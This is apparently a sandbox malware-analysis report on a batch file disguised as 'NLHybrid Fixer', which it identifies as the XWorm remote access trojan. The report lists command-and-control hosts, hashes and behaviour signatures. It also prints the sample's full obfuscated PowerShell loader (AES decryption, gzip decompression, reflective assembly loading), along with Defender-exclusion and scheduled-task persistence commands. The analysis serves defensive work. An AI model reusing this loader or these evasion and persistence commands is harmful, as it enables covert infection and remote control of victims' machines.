Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    413s
  • max time network
    2574s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/11/2024, 06:18

General

  • Target

    NLHybrid Fixer.bat

  • Size

    291KB

  • MD5

    734fdc5c211a7b1fe3a5101c3b0aafd6

  • SHA1

    3d8b84678e674a5b4b49ad4ee4669179d16b75d0

  • SHA256

    0682cfbf0f7c1425a627a847a7cfbc9d3c7633d8426b6f7800d81e391528167b

  • SHA512

    92b2af4e5dbdeefdad102696b8b6d85c10c2885d0e1bfb3d9b94c0ef8e1dafa488f8c8688504b8cb76e244f6abcd3f093e817f5767ae16daed89f80fcbb1db18

  • SSDEEP

    6144:uoiULBMXvSD+eFkX0TupDOYvaktWHHvdTNb71M943xw:uLULBM47FNuNOWaxvH7m43a

Malware Config

Extracted

Family

xworm

Version

5.0

C2

remote-newest.gl.at.ply.gg:62113

fund-scared.gl.at.ply.gg:62113

Mutex

UrM5eoX12ULh6st6

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    win64updater.exe

aes.plain

Signatures

  • Detect Xworm Payload 4 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('15dPngye8xc2zrvtzV/w74aCqiEwBCPIQU+QvJpDDdI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYfQCcxwv9En0wj3TE+fMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AIFyt=New-Object System.IO.MemoryStream(,$param_var); $lMkeE=New-Object System.IO.MemoryStream; $SZECh=New-Object System.IO.Compression.GZipStream($AIFyt, [IO.Compression.CompressionMode]::Decompress); $SZECh.CopyTo($lMkeE); $SZECh.Dispose(); $AIFyt.Dispose(); $lMkeE.Dispose(); $lMkeE.ToArray();}function execute_function($param_var,$param2_var){ $tWijb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZXwwn=$tWijb.EntryPoint; $ZXwwn.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat';$GwBNZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.bat').Split([Environment]::NewLine);foreach ($aCkBV in $GwBNZ) { if ($aCkBV.StartsWith(':: ')) { $ggoTJ=$aCkBV.Substring(3); break; }}$payloads_var=[string[]]$ggoTJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_301_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_301.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4468
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_301.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3764
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_301.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1156
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('15dPngye8xc2zrvtzV/w74aCqiEwBCPIQU+QvJpDDdI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rYfQCcxwv9En0wj3TE+fMw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AIFyt=New-Object System.IO.MemoryStream(,$param_var); $lMkeE=New-Object System.IO.MemoryStream; $SZECh=New-Object System.IO.Compression.GZipStream($AIFyt, [IO.Compression.CompressionMode]::Decompress); $SZECh.CopyTo($lMkeE); $SZECh.Dispose(); $AIFyt.Dispose(); $lMkeE.Dispose(); $lMkeE.ToArray();}function execute_function($param_var,$param2_var){ $tWijb=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZXwwn=$tWijb.EntryPoint; $ZXwwn.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_301.bat';$GwBNZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_301.bat').Split([Environment]::NewLine);foreach ($aCkBV in $GwBNZ) { if ($aCkBV.StartsWith(':: ')) { $ggoTJ=$aCkBV.Substring(3); break; }}$payloads_var=[string[]]$ggoTJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: AddClipboardFormatListener
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3068
            • C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe
              "C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe"
              6⤵
              • Executes dropped EXE
              PID:2608
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4300
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:100
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\win64updater.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4388
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'win64updater.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4452
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "win64updater" /tr "C:\Users\Admin\win64updater.exe"
              6⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5076
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /delete /f /tn "win64updater"
              6⤵
                PID:4360
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7DC6.tmp.bat""
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1696
                • C:\Windows\system32\timeout.exe
                  timeout 3
                  7⤵
                  • Delays execution with timeout.exe
                  PID:736

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      661739d384d9dfd807a089721202900b

      SHA1

      5b2c5d6a7122b4ce849dc98e79a7713038feac55

      SHA256

      70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

      SHA512

      81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      da5c82b0e070047f7377042d08093ff4

      SHA1

      89d05987cd60828cca516c5c40c18935c35e8bd3

      SHA256

      77a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5

      SHA512

      7360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      d91eebce9f88bfa3ebce8438b9e42432

      SHA1

      98c013985c37ed005476e323d1aff8baaf059623

      SHA256

      a82dcc043bc2a4bb5d11c1eaad32ab3266f5b857b50a9373e5c1547d76107672

      SHA512

      ace78d94357d0a145708076f2bbda25b9d69673fc0969a9b574b06a6ff65960e45a5a267a20da2d07cdc76ab78881ce7e62aa5a860a45c518ac8afd5372ca9f1

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      f8d49a4af7a844bfc7247d5670def557

      SHA1

      26ae0ce194a77a7a1887cf93741293fdfa6c94c4

      SHA256

      61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

      SHA512

      9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      d28a889fd956d5cb3accfbaf1143eb6f

      SHA1

      157ba54b365341f8ff06707d996b3635da8446f7

      SHA256

      21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

      SHA512

      0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      9bc110200117a3752313ca2acaf8a9e1

      SHA1

      fda6b7da2e7b0175b391475ca78d1b4cf2147cd3

      SHA256

      c88e4bbb64f7fa31429ebe82c1cf07785c44486f37576f783a26ac856e02a4eb

      SHA512

      1f1af32aa18a8cbfcc65b0d4fb7e6ca2705f125eaa85789e981ee68b90c64522e954825abf460d4b4f97567715dfae8d9b0a25a4d54d10bc4c257c472f2e80fb

    • C:\Users\Admin\AppData\Local\Temp\NLHybrid Fixer.exe

      Filesize

      42KB

      MD5

      269085c7755574a5cd840b298a0b4a55

      SHA1

      3b20a9f3c0e5ed34d37c5c915c07fd93da7d7cbd

      SHA256

      ee94f31406ba029502b3737f9d2c2d2d22448643deaa3095239a55b58b9169c8

      SHA512

      47b5782e53cf03bb5eb8f96584b9e0608bc10038b8721761bf67af75ed0b77a2e51ef94a9d62302e6e0d45885e72d47b80815caa8c063a616d50b646885b5f65

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iyr0cyze.uyx.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmp7DC6.tmp.bat

      Filesize

      171B

      MD5

      42a8d475e3cf17f7b9ac59d4e0f33479

      SHA1

      05bca8567987ccb57755de869c46c8ce304d539d

      SHA256

      35ed8c6fbc200ebe36547d91a29cdfa4d017e2ab78c67dc2212a4996624e41fb

      SHA512

      b6b1650bc1ebfa48fff8d7f1fca3a804c61f8d87f4c709ee253c8caf2cb52b9a0a55c1b1de99d2ac9da2a0c7814929ef50e2bc8674acc4853afdd4a72264da8c

    • C:\Users\Admin\AppData\Roaming\startup_str_301.bat

      Filesize

      291KB

      MD5

      734fdc5c211a7b1fe3a5101c3b0aafd6

      SHA1

      3d8b84678e674a5b4b49ad4ee4669179d16b75d0

      SHA256

      0682cfbf0f7c1425a627a847a7cfbc9d3c7633d8426b6f7800d81e391528167b

      SHA512

      92b2af4e5dbdeefdad102696b8b6d85c10c2885d0e1bfb3d9b94c0ef8e1dafa488f8c8688504b8cb76e244f6abcd3f093e817f5767ae16daed89f80fcbb1db18

    • C:\Users\Admin\AppData\Roaming\startup_str_301.vbs

      Filesize

      115B

      MD5

      deec8143631052743e93d5e0a2741c54

      SHA1

      43369d421e49028bddce2620e2637c2daecc7382

      SHA256

      1203d2de4d471291c63409f01835f74dfaa320486d9f9705e6d68c28abc4b853

      SHA512

      78642c0dfb1c5258405c86263975ebe9f6edee744b58c6ee3b1a91b27163c451cc69492beddcdc169a377716a140d31eb0b7fe38665b4a376948c956c5939552

    • memory/2608-62-0x0000000000670000-0x0000000000680000-memory.dmp

      Filesize

      64KB

    • memory/3068-51-0x000001BEDE000000-0x000001BEDE010000-memory.dmp

      Filesize

      64KB

    • memory/4468-16-0x00007FFC36610000-0x00007FFC370D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4468-30-0x00007FFC36610000-0x00007FFC370D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4468-27-0x00007FFC36610000-0x00007FFC370D1000-memory.dmp

      Filesize

      10.8MB

    • memory/4468-17-0x00007FFC36610000-0x00007FFC370D1000-memory.dmp

      Filesize

      10.8MB

    • memory/5116-14-0x0000011E75240000-0x0000011E7527E000-memory.dmp

      Filesize

      248KB

    • memory/5116-63-0x00007FFC36610000-0x00007FFC370D1000-memory.dmp

      Filesize

      10.8MB

    • memory/5116-0-0x00007FFC36613000-0x00007FFC36615000-memory.dmp

      Filesize

      8KB

    • memory/5116-13-0x0000011E72EA0000-0x0000011E72EA8000-memory.dmp

      Filesize

      32KB

    • memory/5116-12-0x00007FFC36610000-0x00007FFC370D1000-memory.dmp

      Filesize

      10.8MB

    • memory/5116-11-0x00007FFC36610000-0x00007FFC370D1000-memory.dmp

      Filesize

      10.8MB

    • memory/5116-10-0x0000011E72E50000-0x0000011E72E72000-memory.dmp

      Filesize

      136KB